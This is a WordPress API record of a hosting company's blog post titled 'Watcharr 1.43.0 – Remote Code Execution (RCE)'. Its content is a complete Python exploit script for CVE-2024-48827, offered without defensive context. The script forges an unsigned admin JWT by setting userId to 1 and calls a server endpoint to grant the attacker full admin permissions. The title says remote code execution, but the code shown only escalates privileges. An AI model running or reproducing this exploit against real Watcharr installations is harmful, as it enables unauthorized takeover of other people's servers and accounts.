{"id":62583,"date":"2025-04-08T22:47:20","date_gmt":"2025-04-08T19:17:20","guid":{"rendered":"https:\/\/afaghhosting.net\/blog\/watcharr-1-43-0-remote-code-execution-rce\/"},"modified":"2025-04-08T22:47:20","modified_gmt":"2025-04-08T19:17:20","slug":"watcharr-1-43-0-remote-code-execution-rce","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/watcharr-1-43-0-remote-code-execution-rce\/","title":{"rendered":"Watcharr 1.43.0 &#8211; Remote Code Execution (RCE)"},"content":{"rendered":"<p><\/p>\n<div>\n<pre><code class=\"language-py\" style=\"white-space: pre-wrap;\"># CVE-2024-48827 exploit by Suphawith Phusanbai&#13;\n# Affected Watcharr version 1.43.0 and below.&#13;\nimport argparse&#13;\nimport requests&#13;\nimport json&#13;\nimport jwt &#13;\nfrom pyfiglet import Figlet&#13;\n&#13;\nf = Figlet(font='slant',width=100)&#13;\nprint(f.renderText('CVE-2024-48827'))&#13;\n&#13;\n#store JWT token and UserID \\ \u0e40\u0e01\u0e47\u0e1a token \u0e01\u0e31\u0e1a UserID&#13;\njwt_token = None&#13;\nuser_id = None&#13;\n&#13;\n#login to obtain JWT token \/ \u0e25\u0e47\u0e2d\u0e04\u0e2d\u0e34\u0e19\u0e40\u0e1e\u0e37\u0e48\u0e2d\u0e23\u0e31\u0e1a JWT Token &#13;\ndef login(host, port, username, password):&#13;\n    url = f'http:\/\/{host}:{port}\/api\/auth\/'&#13;\n    #payload in login API request \\ payload \u0e43\u0e19 json &#13;\n    payload = {&#13;\n        'username': username,&#13;\n        'password': password&#13;\n    }&#13;\n&#13;\n    headers = {&#13;\n        'Content-Type': 'application\/json'&#13;\n    }&#13;\n    #login to obtain JWT token \\ \u0e25\u0e47\u0e2d\u0e04\u0e2d\u0e34\u0e19\u0e40\u0e1e\u0e34\u0e48\u0e2d\u0e40\u0e01\u0e47\u0e1a JWT token \u0e41\u0e25\u0e49\u0e27\u0e43\u0e2a\u0e48\u0e43\u0e19 jwt_token object&#13;\n    try:&#13;\n        response = requests.post(url, data=json.dumps(payload), headers=headers)&#13;\n        if response.status_code == 200:&#13;\n            token = response.json().get('token')&#13;\n            if token:&#13;\n                print(f\"[+] SUCCESS! JWT Token: {token}\")&#13;\n                global jwt_token  &#13;\n                jwt_token = token&#13;\n                &#13;\n                #decode JWT token and store UserID in UserID object \\ \u0e14\u0e35\u0e42\u0e04\u0e49\u0e14 JWT token \u0e41\u0e25\u0e49\u0e27\u0e40\u0e01\u0e47\u0e1a\u0e04\u0e48\u0e32 UserID \u0e43\u0e2a\u0e48\u0e43\u0e19 UserID object&#13;\n                decoded_payload = jwt.decode(token, options={\"verify_signature\": False})&#13;\n                global user_id&#13;\n                user_id = decoded_payload.get('userId')  &#13;\n                &#13;\n                return token             &#13;\n            else:&#13;\n                print(\"[-] Check your password again!\")&#13;\n        else:&#13;\n            print(f\"[-] Failed :(\")&#13;\n            print(f\"Response: {response.text}\")&#13;\n    except Exception as e:&#13;\n        print(f\"Error! HTTP response code: {e}\")&#13;\n&#13;\n#craft the admin token(to make this work you need to know admin username) \\ \u0e2a\u0e23\u0e49\u0e32\u0e07 admin JWT token \u0e02\u0e36\u0e49\u0e19\u0e21\u0e32\u0e43\u0e2b\u0e21\u0e48\u0e42\u0e14\u0e22\u0e43\u0e0a\u0e49 token \u0e17\u0e35\u0e48\u0e25\u0e47\u0e2d\u0e04\u0e2d\u0e34\u0e19&#13;\ndef create_new_jwt(original_token):&#13;\n    try:&#13;\n        decoded_payload = jwt.decode(original_token, options={\"verify_signature\": False})&#13;\n        #userID = 1 is always the admin \\ userID \u0e25\u0e33\u0e14\u0e31\u0e1a\u0e17\u0e35\u0e48 1 \u0e04\u0e37\u0e2d admin \u0e40\u0e2a\u0e21\u0e2d&#13;\n        decoded_payload['userId'] = 1&#13;\n        new_token = jwt.encode(decoded_payload, '', algorithm='HS256')&#13;\n        print(f\"[+] New JWT Token: {new_token}\")&#13;\n        return new_token&#13;\n    except Exception as e:&#13;\n        print(f\"[-] Failed to create new JWT: {e}\")&#13;\n&#13;\n#privilege escalation with the crafted JWT token \\ PE \u0e42\u0e14\u0e22\u0e01\u0e32\u0e23\u0e43\u0e0a\u0e49 crafted admin token &#13;\ndef privilege_escalation(host, port, adminuser, token):&#13;\n    #specify API endpoint for giving users admin role \\ \u0e40\u0e23\u0e35\u0e22\u0e01\u0e43\u0e0a\u0e49\u0e07\u0e32\u0e19 API \u0e2a\u0e33\u0e2b\u0e23\u0e31\u0e1a\u0e43\u0e2b\u0e49\u0e2a\u0e34\u0e17\u0e18\u0e34\u0e4c user admin&#13;\n    url = f'http:\/\/{host}:{port}\/api\/server\/users\/{user_id}'&#13;\n&#13;\n    # permission 3 givefull access privs you can also use 6 and 9 to gain partial admin privileges. \\ \u0e43\u0e2b\u0e49\u0e2a\u0e34\u0e17\u0e18\u0e34\u0e4c admin \u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14\u0e14\u0e49\u0e27\u0e22 permission = 3 &#13;\n    payload = {&#13;\n        \"permissions\": 3&#13;\n    }&#13;\n&#13;\n    headers = {&#13;\n        'Authorization': f'{token}',&#13;\n        'Content-Type': 'application\/json'&#13;\n    }&#13;\n&#13;\n    try:&#13;\n        response = requests.post(url, data=json.dumps(payload), headers=headers)&#13;\n        if response.status_code == 200:&#13;\n            print(f\"[+] Privilege Escalation Successful! The current user is now an admin!\")&#13;\n        else:&#13;\n            print(f\"[-] Failed to escalate privileges. Response: {response.text}\")&#13;\n    except Exception as e:&#13;\n        print(f\"Error during privilege escalation: {e}\")&#13;\n&#13;\n&#13;\n#exampl usage: python3 CVE-2024-48827.py -u dummy -p dummy -host 172.22.123.13 -port 3080 -adminuser admin&#13;\n#usage&#13;\nif __name__ == \"__main__\":&#13;\n    parser = argparse.ArgumentParser(description='Exploit CVE-2024-48827 to obtain JWT token and escalate privileges.')&#13;\n    parser.add_argument('-host', '--host', type=str, help='Host or IP address', required=True)&#13;\n    parser.add_argument('-port', '--port', type=int, help='Port', required=True, default=3080)&#13;\n    parser.add_argument('-u', '--username', type=str, help='Username for login', required=True)&#13;\n    parser.add_argument('-p', '--password', type=str, help='Password for login', required=True)&#13;\n    parser.add_argument('-adminuser', '--adminuser', type=str, help='Admin username to escalate privileges', required=True)&#13;\n    args = parser.parse_args()&#13;\n&#13;\n    #step 1: login&#13;\n    token = login(args.host, args.port, args.username, args.password)&#13;\n&#13;\n    #step 2: craft the admin token&#13;\n    if token:&#13;\n        new_token = create_new_jwt(token)&#13;\n        #step 3: Escalate privileges with crafted token. Enjoy!&#13;\n        if new_token:&#13;\n            privilege_escalation(args.host, args.port, args.adminuser, new_token)\n            <\/code><\/pre>\n<\/p><\/div>\n<p><a href=\"https:\/\/afaghhosting.net]\">\u0622\u0641\u0627\u0642 \u0647\u0627\u0633\u062a\u06cc\u0646\u06af \u0645\u062f\u06cc\u0631\u06cc\u062a \u0633\u0631\u0648\u0631 \u0645\u0634\u0627\u0648\u0631 \u0648 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646 \u0641\u0646\u06cc <\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p># CVE-2024-48827 exploit by Suphawith Phusanbai&#13; # Affected Watcharr version 1.43.0 and below.&#13; import argparse&#13; import requests&#13; import json&#13; import jwt &#13; from pyfiglet import Figlet&#13; &#13; f = Figlet(font=&#8217;slant&#8217;,width=100)&#13; print(f.renderText(&#8216;CVE-2024-48827&#8217;))&#13; &#13; #store JWT token and UserID \\ \u0e40\u0e01\u0e47\u0e1a token \u0e01\u0e31\u0e1a UserID&#13; jwt_token = None&#13; user_id = None&#13; &#13; #login to obtain JWT token \/ &hellip;<\/p>\n","protected":false},"author":1,"featured_media":62562,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-62583","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/62583","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=62583"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/62583\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media\/62562"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=62583"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=62583"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=62583"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}